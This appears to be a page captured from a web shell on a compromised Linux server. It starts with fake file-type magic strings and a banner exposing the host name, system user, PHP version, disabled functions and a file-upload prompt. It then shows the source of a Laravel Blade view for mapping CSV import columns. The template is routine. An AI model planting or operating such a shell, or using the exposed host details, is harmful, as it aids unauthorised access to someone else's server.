%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/resources/views/import/ |
Upload File : |
<div class="col-sm-12">
<x-form id="process-{{ $importClassName }}-data-form">
<div class="add-{{ $importClassName }} bg-white rounded">
<h4 class="mb-0 p-20 f-21 font-weight-normal text-capitalize border-bottom-grey">
{{ $headingTitle }}</h4>
<div class="col-12">
<p class="mt-3">@lang("messages.matchColumnMessage")</p>
<div class="alert alert-success" id="getUnMatchedSuccess" style="display:none;">
@lang("messages.columnMatchSuccess")
</div>
<div class="alert alert-warning" id="requiredColumnsUnmatched" style="display:none;">
@lang("messages.requiredColumnsUnmatched")
</div>
<div class="row">
<div class="col-md-6">
<b>@lang("messages.unmatchedColumns", ["unmatchCount" => (!empty($heading) ? collect($columns)->where('required','Yes')->whereNotIn('id', $heading)->count() : 0)])</b>
ยท <a href="javascript:void(0);"
onclick="skipall()">@lang("app.skipAll")</a>
</div>
<div class="col-md-6">
<div class="form-group">
<div class="float-right">
<div class="checkbox checkbox-info">
<input id="showSkipped" checked="checked" type="checkbox">
<label for="random_password">@lang("app.showSkippedColumns")</label>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-12 import-table" style="overflow-x: auto;">
<input type="hidden" name="file" value="{{ $file }}">
<input type="hidden" name="has_heading" value="{{ $hasHeading }}">
<table>
<tbody>
<tr>
@forelse ($importSample[0] as $key => $item)
<td valign="top">
<div class="row importBox border-grey {{ !empty($heading) ? (collect($columns)->whereIn('id', $heading[$key])->first() ? 'matched' : 'unmatched') : 'unmatched' }}"
id="box_{{ $key }}" data-key="{{ $key }}">
<div class="importOptions w-100">
<div class="col-sm-12 p-0">
@if (!empty($heading))
<h4>
{{$fileHeading[$key]}}
</h4>
@endif
</div>
<div class="selectColumnNameBox" id="selectColumnNameBox_{{ $key }}" style="display:none;">
<div class="col-sm-12 p-0">
<div class="form-group">
<label class="control-label">
@lang('app.columnName')
</label>
<div id="selectOptionList_{{ $key }}">
<select class="form-control select-picker mb-2" id="columnName_{{ $key }}" name="columns[{{ $key }}]">
<option value="">@lang("app.selectAColumn")</option>
@if (!empty($heading) && collect($columns)->whereIn('id', $heading[$key])->first())
@foreach($columns as $selectKey => $selectColumn)
<option value="{{ $selectColumn['id'] }}" {{ ($heading[$key]==$selectColumn['id']) ? 'selected' : '' }}>{{$selectColumn['name'] }}
</option>
@endforeach
@endif
</select>
</div>
</div>
</div>
<div class="col-sm-12 p-0">
<div class="form-group">
<button onclick="goBack({{ $key }})" class="btn btn-info btn-sm" type="button">@lang("app.btnBack")</button>
<button onclick="saveColumnBox({{ $key }})" class="btn btn-dark btn-sm"
type="button">@lang("app.btnSave")</button>
<a href="javascript:void(0);" onclick="skipColumnBox({{ $key }})">@lang("app.skip")</a>
</div>
</div>
</div>
<div class="row columnDescriptionBox" id="columnDescriptionBox_{{ $key }}">
<div class="col-sm-12">
<p id="columnDescriptionBoxText_{{ $key }}">
@if (!empty($heading))
@if(collect($columns)->whereIn('id', $heading[$key])->first())
{{ collect($columns)->whereIn('id', $heading[$key])->first()['name'] }}
@else
<span class="unmatchedWarning" id="unmatchedWarning_{{$key}}">(@lang('app.unmatchedColumn'))</span>
@endif
@else
<span class="unmatchedWarning" id="unmatchedWarning_{{$key}}">(@lang('app.unmatchedColumn'))</span>
@endif
</p>
<p class="alert alert-warning notimported" style="display:none;" id="columnSkipBox_{{ $key }}">
@lang("app.willNotBeImported")</p>
</div><!-- col-sm-12 -->
</div>
<div class="row editAndSkipBox" id="editAndSkipBox_{{ $key }}">
<div class="col-sm-12">
<a href="javascript:void(0);" onclick="showColumnBox({{ $key }})">@lang("app.edit")</a>
<a href="javascript:void(0);" onclick="skipColumnBox({{ $key }})"
id="skipButton_{{ $key }}">@lang("app.skip")</a>
</div><!-- col-sm-12 -->
</div>
</div>
<div class="importSample w-100">
@foreach ($importSample as $dataKey => $value)
<p class="sample">
{{ $value[$key] }}
</p>
@endforeach
</div>
</div>
</td>
@empty
@endforelse
</tr>
</tbody>
</table>
<div class="col-md-12">
</div>
</div>
<x-form-actions>
<x-forms.button-primary id="process-{{ $importClassName }}-form" disabled class="mr-3" icon="check">@lang('app.submit')
</x-forms.button-primary>
<x-forms.button-cancel :link="$backRoute" class="border-0">@lang('app.cancel')
</x-forms.button-cancel>
</x-form-actions>
</div>
</x-form>
<div class="bg-white rounded p-2" id="afterSubmitting" style="display:none">
<div class="alert alert-warning" role="alert" id="process-warning">
@lang("app.doNotCloseOrRefreshPage")
</div>
<div class="alert alert-success" role="alert" id="importSuccess" style="display:none">
</div>
<div class="alert alert-success" role="alert" id="progressSuccess" style="display:none">
</div>
<div class="alert alert-danger" role="alert" id="failedJobsCount" style="display:none">
</div>
<div id="progressError" style="display:none"></div>
<div id="progress">
<p>@lang('app.importInProgress') <strong id="progressAmount">@lang('app.pleaseWait')</strong></p>
<div class="progress">
<div id="processingBarStatus" class="progress-bar progress-bar-striped progress-bar-animated" role="progressbar" style="width: 0%;" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">0%</div>
</div>
</div>
</div>
<div class="w-100 border-top-grey justify-content-start px-4 py-3 bg-white rounded d-none" id="afterProcessing">
<x-forms.link-primary :link="$backRoute">{{ $backButtonText }}</x-forms.link-primary>
</div>
</div>
<div id="exceptionTable" class="col-sm-12 mt-2" style="display:none">
</div>
<script src="https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js"></script>
<script type="text/javascript">
$('.select-picker').selectpicker();
// Current column being edited
let columnID = 0;
let progress = 0;
// Fields associated with this import
let jsColumnArray = $.parseJSON('{!! addslashes(json_encode($columns)) !!}');
let currentImportColumnID = jsColumnArray[0].id; // By default column 0 is selected
// Array to store matched columns. ith element tells that Column i of the CSV matches with which field
// of the import. Initially each columns is matched serially with columns in the CSV
let jsMatchedColumnArray = $.parseJSON('{!! addslashes( json_encode( $matchedColumns )) !!}');
function contains(array, value) {
for (let i = 0; i < array.length; i++) {
if (array[i] == value) {
return true;
}
}
return false;
}
function updateJsMatchedColumnArray() {
jsMatchedColumnArray = [];
$('.selectColumnNameBox').each(function () {
if ($(this).find('select').val() != '') {
jsMatchedColumnArray.push($(this).find('select').val());
}
});
return jsMatchedColumnArray;
}
function checkRequiredMatch() {
let requiredNotMatched = [];
// Check if all required columns are matched b
for (let i = 0; i < jsColumnArray.length; i++) {
if (jsColumnArray[i]["required"] == "Yes") {
if (!contains(jsMatchedColumnArray, jsColumnArray[i]["id"])) {
requiredNotMatched.push(jsColumnArray[i]);
}
}
}
return requiredNotMatched;
}
function requiredMatchAction() {
let requiredMatched = checkRequiredMatch();
if (requiredMatched.length == 0) {
$("#getUnMatchedSuccess").show();
$("#requiredColumnsUnmatched").hide();
$("#process-{{ $importClassName }}-form").removeAttr("disabled");
} else {
let str = _.join(_.map(requiredMatched, 'name'), ', ');
let msg = "@lang("messages.requiredColumnsUnmatched")";
msg = msg.replace(":columns", str);
$("#getUnMatchedSuccess").hide();
$("#requiredColumnsUnmatched").html(msg).show();
}
}
function showColumnBox(columnID) {
// Hide all other edit boxes
$(".selectColumnNameBox").hide();
$(".editAndSkipBox").show();
$(".columnDescriptionBox").show();
// Show hide for this column
$('#skipButton_' + columnID).show();
$('#columnSkipBox_' + columnID).hide();
$('#editAndSkipBox_' + columnID).hide();
$('#columnDescriptionBox_' + columnID).hide();
$('#selectColumnNameBox_' + columnID).show();
// Hide back button for first column
if (columnID == 0) {
$("#selectColumnNameBox_" + columnID + " .btn-info").hide();
}
let selectedOption = $('#columnName_' + columnID);
let selectedColumnID = selectedOption.val();
currentImportColumnID = selectedColumnID;
selectedOption.selectpicker('refresh');
let selectListText = generateSelectList(columnID);
$('#selectOptionList_' + columnID).html(selectListText);
$('.select-picker').selectpicker('refresh');
}
function goBack(columnID) {
$('#columnName_' + columnID).val(currentImportColumnID);
$('#skipButton_' + columnID).show();
$('#columnSkipBox_' + columnID).hide();
$('#selectColumnNameBox_' + columnID).hide();
$('#editAndSkipBox_' + columnID).show();
$('#columnDescriptionBox_' + columnID).show();
if ($('#columnName_' + columnID).hasClass('skipped')) {
$('#columnName_' + columnID).val('');
$('#columnSkipBox_' + columnID).show();
}
$('#columnName_' + columnID).selectpicker('refresh');
--columnID;
showColumnBox(columnID);
}
function saveColumnBox(columnID) {
let selectedOption = $('#columnName_' + columnID + ' option:selected');
let selectedColumnID = selectedOption.val();
if (selectedColumnID == "") {
Swal.fire({
icon: 'error',
text: "@lang("messages.pleaseSelectAColumn")",
toast: true,
position: "top-end",
timer: 3000,
timerProgressBar: true,
showConfirmButton: false,
customClass: {
confirmButton: "btn btn-primary",
},
showClass: {
popup: "swal2-noanimation",
backdrop: "swal2-noanimation",
},
});
} else {
$('#columnName_' + columnID).removeClass('skipped');
let columnName = selectedOption.text();
updateJsMatchedColumnArray();
$('#skipButton_' + columnID).show();
$('#columnSkipBox_' + columnID).hide();
$('#columnDescriptionBoxText_' + columnID).html(columnName);
$('#selectColumnNameBox_' + columnID).hide();
$('#columnDescriptionBox_' + columnID).show();
$('#columnDescriptionBoxText_' + columnID).show();
$('#editAndSkipBox_' + columnID).show();
$('#unmatchedWarning_' + columnID).hide();
$('#box_' + columnID).removeClass('unchanged unmatched').addClass('matched');
let unmatched = getUnMatched();
$("#unmatchedCount").html(unmatched);
requiredMatchAction();
++columnID;
if ($('#columnName_' + columnID).length) {
showColumnBox(columnID);
}
}
}
function skipColumnBox(columnID) {
$('#columnName_' + columnID).addClass('skipped');
$('#columnName_' + columnID).val('');
$('#columnName_' + columnID).selectpicker('refresh');
updateJsMatchedColumnArray();
$('#columnDescriptionBox_' + columnID).show();
$('#selectColumnNameBox_' + columnID).hide();
$('#columnDescriptionBoxText_' + columnID).hide();
$('#skipButton_' + columnID).hide();
$('#columnSkipBox_' + columnID).show();
$('#editAndSkipBox_' + columnID).show();
$('#unmatchedWarning_' + columnID).hide();
$('#box_' + columnID).removeClass('matched unchanged').addClass('unmatched');
let unmatched = getUnMatched();
$("#unmatchedCount").html(unmatched);
requiredMatchAction();
++columnID;
if ($('#columnName_' + columnID).length) {
showColumnBox(columnID);
}
}
// Generate the select control for this column box
function generateSelectList(columnID) {
// So that we can select column if user edits it
let selectedColumnID = jsMatchedColumnArray[columnID];
let skippedClass = '';
if($('#columnName_' + columnID).hasClass('skipped')){
skippedClass = 'skipped';
}
let text = '<select id="columnName_' + columnID + '" class="form-control select-picker mb-2 ' + skippedClass + '" name="columns[' + columnID +']">' +
'<option value="">@lang("app.selectAColumn")</option>';
for (let i = 0; i < jsColumnArray.length; i++) {
let id = jsColumnArray[i]['id'];
let name = jsColumnArray[i]['name'];
let skip = false;
$('.selectColumnNameBox').each(function () {
if ($(this).find('select').val() != '' && $(this).find('select').val() == id && $('.selectColumnNameBox #columnName_'+ columnID).val() != id) {
skip = true;
}
});
if (skip) continue;
if (selectedColumnID == id || $('.selectColumnNameBox #columnName_'+ columnID).val() == id) {
text += '<option value="' + id + '" selected>' + name + '</option>';
} else {
text += '<option value="' + id + '">' + name + '</option>';
}
}
text += "</select>";
return text;
}
function getUnMatched() {
let jsMatchedColumn = [];
$('.selectColumnNameBox').each(function () {
if ($(this).find('select').val() == '' && !$(this).find('select').hasClass('skipped')) {
jsMatchedColumn.push($(this).find('select').val());
}
});
return jsMatchedColumn.length;
}
function skipall() {
$('.unmatched').each(function () {
skipColumnBox($(this).data('key'));
});
}
function getProgress(batchId){
$('#process-{{ $importClassName }}-data-form').hide();
$('#afterSubmitting').show();
var url = "{{ route('import.process.progress', [$importClassName, ':batchId']) }}";
url = url.replace(':batchId', batchId);
setTimeout(function () {
$.easyAjax({
type: 'GET',
url: url,
success: function (response) {
var failedJobs = response.failedJobs;
var pendingJobs = response.pendingJobs;
var processedJobs = response.processedJobs;
progress = response.progress;
var totalJobs = response.totalJobs;
$('#processingBarStatus').width( progress + '%');
$('#processingBarStatus').html(progress + '%');
$('#progressAmount').html(progress + '%');
if(failedJobs > 0){
var failedMsg = '@lang("app.importFailedJobs")';
failedMsg = failedMsg.replace(':failedJobs', failedJobs).replace(':totalJobs', totalJobs);
$('#failedJobsCount').html(failedMsg);
$('#failedJobsCount').show();
}
if(processedJobs > 0){
var processedMsg = '@lang("app.importProcessedJobs")';
processedMsg = processedMsg.replace(':processedJobs', processedJobs).replace(':totalJobs', totalJobs);
$('#progressSuccess').html(processedMsg);
$('#progressSuccess').show();
}
if (totalJobs != (failedJobs + processedJobs)) {
getProgress(batchId);
}else{
$('#importSuccess').html('@lang("app.importCompleted")');
$('#process-warning').hide();
$('#importSuccess').show();
$('#progress').hide();
$('#afterProcessing').removeClass('d-none');
$('#afterProcessing').addClass('d-lg-flex d-md-flex d-block');
getQueueException();
}
},
error: function (response) {
if (progress != 100) {
getProgress(batchId);
}
}
});
}, 2000);
}
function getQueueException() {
var url = "{{ route('import.process.exception', $importClassName) }}";
$.easyAjax({
type: 'GET',
url: url,
success: function(response){
if (response.count) {
$('#exceptionTable').html(response.view);
$('#exceptionTable').show();
}
}
});
}
$(document).ready(function() {
$('body').on('click', '#showSkipped', function() {
if (this.checked) {
$(".unmatched").show();
} else {
$(".unmatched").hide();
}
});
let unmatched = getUnMatched();
$("#unmatchedCount").html(unmatched);
if (getUnMatched() == 0) {
$("#getUnMatchedSuccess").show();
$("#process-{{ $importClassName }}-form").removeAttr("disabled");
} else {
$("#process-{{ $importClassName }}-form").attr("disabled", "disabled");
showColumnBox(columnID);
}
requiredMatchAction();
$('body').on('click', '#process-{{ $importClassName }}-form', function() {
const url = "{{ $processRoute }}";
$.easyAjax({
url: url,
container: '#process-{{ $importClassName }}-data-form',
type: "POST",
disableButton: true,
blockUI: true,
buttonSelector: "#process-{{ $importClassName }}-form",
data: $('#process-{{ $importClassName }}-data-form').serialize(),
success: function (response) {
if (response.status == 'success') {
getProgress(response.batch.id);
}
}
});
});
});
$('.import-table').on('shown.bs.select', function () {
$('.import-table').css("overflow", "inherit");
$('#import_table').css("overflow-x", "hidden");
});
$('.import-table').on('hidden.bs.select', function () {
$('.import-table').css("overflow", "auto");
$('#import_table').css("overflow-x", "auto");
})
</script>